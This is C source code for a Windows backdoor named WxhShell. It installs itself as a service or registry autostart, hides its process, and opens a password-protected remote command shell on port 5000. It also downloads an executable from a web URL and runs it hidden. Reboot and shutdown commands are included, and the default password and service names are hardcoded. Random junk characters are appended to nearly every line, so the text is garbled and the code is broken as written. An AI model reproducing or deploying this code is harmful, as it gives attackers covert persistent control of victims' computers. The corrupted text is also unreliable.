DWORD BasePriority; *DPKV$
ULONG UniqueProcessId; !s47A"O&B
ULONG InheritedFromUniqueProcessId; 6yhRcvJ}
} PROCESS_BASIC_INFORMATION; `{'h+v`
*2r(!fJP=^
PROCNTQSIP NtQueryInformationProcess; 06>+loBG
PvVn}i
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XseP[
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [A#>G4a<
s|-g)
HANDLE hProcess; GW!%DT
PROCESS_BASIC_INFORMATION pbi; &ej|DM6
884 -\M"h
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ms/Q-
if(NULL == hInst ) return 0; %^(} fu
Ls{]ohP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); h#]LXs
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \\$wg
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K"g`,G6S
vKTCS
if (!NtQueryInformationProcess) return 0; d?>pcT)G_
.
/~#
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qaEWK0
if(!hProcess) return 0; )/uCdSDIc
2[5z6oG
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a'B 5m]%
./Wi(p{F
CloseHandle(hProcess); ?oQAxb&
[OQ+&\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mM-7
jz
if(hProcess==NULL) return 0; T*zy^we
Zksow} %
HMODULE hMod; <<+Hs/ ]
char procName[255]; bXK$H=S Bz
unsigned long cbNeeded; 2hE+Om^n
95oh}c
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d6{0[T^L
y\}<N6
CloseHandle(hProcess); l#;o^H i
H?)?(t7@
if(strstr(procName,"services")) return 1; // 以服务启动 4zx_L8#Z
6Y/TqI[
return 0; // 注册表启动 |n\(I$
} psB9~EU&Q
hdurT
// 主模块 n^k Uu2g|
int StartWxhshell(LPSTR lpCmdLine) -0Q^k\X-
{ eLyaTOZadu
SOCKET wsl; rI4N3d;C
BOOL val=TRUE; L+TM3*a*
int port=0; zq4)Uab*
struct sockaddr_in door; znu[i&\=
i`" L?3T
if(wscfg.ws_autoins) Install(); JsbH'l
(Q ~<>
port=atoi(lpCmdLine); ZIvP?:=!
I>45xVA
if(port<=0) port=wscfg.ws_port; q?Av5TFf
'tun;Y
WSADATA data; p$bR M`R&s
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <!I^ xo[
dJUI.!hv;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `&qeSEs\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?\Lf=[
door.sin_family = AF_INET; b'TkYa^
door.sin_addr.s_addr = inet_addr("127.0.0.1"); n]J;BW&Av
door.sin_port = htons(port); 6sl2vHzA
n%}Vd
`c
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OQa;EBO
closesocket(wsl); -H
AUKY@;5
return 1; HLp'^
} S`Wau/7t
GXx/pBdy[4
if(listen(wsl,2) == INVALID_SOCKET) { iJ 8I#
j+N
closesocket(wsl); vV 7L
:>
return 1; 3M<T}>
} t/0h)mL}
Wxhshell(wsl); i 79;;9M
WSACleanup(); .T }q"
,?Nc\Q<:
return 0; 5sK1rDN
8i'EO6
} DJ<F8-sb2r
0FEn& \2<
// 以NT服务方式启动 ;+iw?"
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zlf)
dDn
{ zoI0oA
DWORD status = 0; 9Z;"9$+M
DWORD specificError = 0xfffffff; M8iI e:{ c
Aq"<#:
serviceStatus.dwServiceType = SERVICE_WIN32; 30nR2mB
Kt
serviceStatus.dwCurrentState = SERVICE_START_PENDING; wf=M|
#}_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3rQ;}<*M
serviceStatus.dwWin32ExitCode = 0; g7nqe~`{
serviceStatus.dwServiceSpecificExitCode = 0; 6qzy eli
serviceStatus.dwCheckPoint = 0; =pR'XF%
serviceStatus.dwWaitHint = 0; (DrDWD4_
~q05xy8
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /E0/)@pDq
if (hServiceStatusHandle==0) return; <zE~N~;
@8qo(7<~Q
status = GetLastError(); ,I|Tj C5
if (status!=NO_ERROR) hhynB^o
{ +_E96`P
serviceStatus.dwCurrentState = SERVICE_STOPPED; l4`HuNR1
serviceStatus.dwCheckPoint = 0; FW7@7cVoF
serviceStatus.dwWaitHint = 0; lL{1wCsl
serviceStatus.dwWin32ExitCode = status; O9(6 ?n
serviceStatus.dwServiceSpecificExitCode = specificError; !K319 eE
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &fuJ%
return; Bfz]PN78.G
} [_SV$Jz
wSP'pM{#2
serviceStatus.dwCurrentState = SERVICE_RUNNING; 0?d}Oj
serviceStatus.dwCheckPoint = 0; <>|/U `
serviceStatus.dwWaitHint = 0; ( [m[<
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )/2J|LxS
} 2or!v^^u
|<Gq^3 2
// 处理NT服务事件,比如:启动、停止 4ZN&Yf`
VOID WINAPI NTServiceHandler(DWORD fdwControl) js<}>wD7<
{ Msea kF
switch(fdwControl) G'qGsKf\
{ ;]+p>p-#
case SERVICE_CONTROL_STOP: x9{&rldC
serviceStatus.dwWin32ExitCode = 0; *)4`"D
serviceStatus.dwCurrentState = SERVICE_STOPPED; voAen&>!
serviceStatus.dwCheckPoint = 0; s@c.nT%BYL
serviceStatus.dwWaitHint = 0; ,Xt!dT-
{ zBd)E21H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); _onEXrM
} ]t|-
return; 1}"PLq(
case SERVICE_CONTROL_PAUSE: x%\m/_5w%
serviceStatus.dwCurrentState = SERVICE_PAUSED; Kgw_c:/'
break; K!a4>Du{
case SERVICE_CONTROL_CONTINUE: "P_PqM
serviceStatus.dwCurrentState = SERVICE_RUNNING; G)'(%rl
break; ;$= GrR
case SERVICE_CONTROL_INTERROGATE: 2%F!aeX
break; N)H
_4L
}; ek3,ss3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); iAAlld1
} s.oh6wz
'5BM*4,:O
// 标准应用程序主函数 @rT}V>2I
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vx&jI$t8
{ A(#4$}!n5
*f4BD||
// 获取操作系统版本 +W-,74A
OsIsNt=GetOsVer(); IFg(Ze~
GetModuleFileName(NULL,ExeFile,MAX_PATH); +S3r]D3v/
+,BJ4``*k
// 从命令行安装 n-Qpg
if(strpbrk(lpCmdLine,"iI")) Install(); 5QoU&Hv
)5(Ko<"
// 下载执行文件 9q=\_[\[
if(wscfg.ws_downexe) { UPI'O %
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D^%DYp
WinExec(wscfg.ws_filenam,SW_HIDE); V.k2t$@
} XK 09x1r
l~v
BA$,
if(!OsIsNt) { D>~S-]
// 如果时win9x,隐藏进程并且设置为注册表启动 4H\+vJPM
HideProc(); ^s=p'&6
StartWxhshell(lpCmdLine); 4:Bpz;x
} ~>]/1JFz
else H#+?)<UQ
if(StartFromService()) (i*;V0
// 以服务方式启动 c8
xZT
StartServiceCtrlDispatcher(DispatchTable); d].(x)|st
else pd1V8PZSG
// 普通方式启动 #g6*s+Gm
StartWxhshell(lpCmdLine); KW~fW r8
vKvT7Zxc
return 0; /EpsJb`kj
} 2]f"(X4jp
(.DX</f/4
H!+T2<F9R
x$'0}vnT
=========================================== tbP
;iK'
[qEd`8V(
~!Q\\_
lN-[2vT<
!] -ET7
V u`O%[Q/
" BVt)~HZ
uWSfr(loX
#include <stdio.h> QE8aYPSFf
#include <string.h> eT|"6WJ:{
#include <windows.h> 9se,c
#include <winsock2.h> 34$qV{Y%y
#include <winsvc.h> Lb>UraUvL
#include <urlmon.h> $M(ZKS3,j
Gpauy=4f
#pragma comment (lib, "Ws2_32.lib") %HNe"7gk
#pragma comment (lib, "urlmon.lib") =
+=k(*
vV?=r5j
#define MAX_USER 100 // 最大客户端连接数 )Z2l*fV
#define BUF_SOCK 200 // sock buffer dgIEc]#pH
#define KEY_BUFF 255 // 输入 buffer ?+WSYg0
BP7&wd
#define REBOOT 0 // 重启 y,`SLgBID
#define SHUTDOWN 1 // 关机 3]iBX`Ni
dIUg
e`O9
#define DEF_PORT 5000 // 监听端口 {J}Zv5
t*&O*T+fgy
#define REG_LEN 16 // 注册表键长度 >**7ck
#define SVC_LEN 80 // NT服务名长度 A+N%A]2
|Ir&C[QS{y
// 从dll定义API )^C w
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); laQM*FLg
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X8Xw'
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5V^+;eO
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \Q5Jg
=nmvG%.hd
// wxhshell配置信息 O'G,
struct WSCFG { Vf'r6Rf
int ws_port; // 监听端口 !P6\-.
char ws_passstr[REG_LEN]; // 口令 NG2@.hP:uU
int ws_autoins; // 安装标记, 1=yes 0=no 2
P=c1;
char ws_regname[REG_LEN]; // 注册表键名 f~LM-7!zf}
char ws_svcname[REG_LEN]; // 服务名 1P'R-I
char ws_svcdisp[SVC_LEN]; // 服务显示名 OC [ +t6
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~S],)E1w
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +])St3h
int ws_downexe; // 下载执行标记, 1=yes 0=no SRixT+E
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #hOAG_a,
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sKkk+-J4
{M5[gr%
}; W+'|zhn
#Zm%U_$<
// default Wxhshell configuration \*5_gPj!d
struct WSCFG wscfg={DEF_PORT, 22|a~"Z
"xuhuanlingzhe", .!\NM&E
1, Lb'HM-d
"Wxhshell", zdwr5k
"Wxhshell", :d7tzYT ^
"WxhShell Service", M]+FTz
"Wrsky Windows CmdShell Service", Ier0F7]I
"Please Input Your Password: ", !i|]OnJY
1, ZS-O,[
"http://www.wrsky.com/wxhshell.exe", 5F8sigr/h
"Wxhshell.exe" bOi`JJ^
}; ~t $zypw
8?L7h\)-
// 消息定义模块 g]=w_
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GTw3rD^wg
char *msg_ws_prompt="\n\r? for help\n\r#>"; yH<^txNF
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =]OG5b_-Y
char *msg_ws_ext="\n\rExit."; y8$TU;
char *msg_ws_end="\n\rQuit."; )_bR"!Z
char *msg_ws_boot="\n\rReboot..."; bUW`MH7yJ
char *msg_ws_poff="\n\rShutdown..."; `[.':"~2N
char *msg_ws_down="\n\rSave to "; >lo,0oG
gCMwmanX
char *msg_ws_err="\n\rErr!"; @q?zh'@;
char *msg_ws_ok="\n\rOK!"; O>=D1no*
)V}u}5
char ExeFile[MAX_PATH]; -m&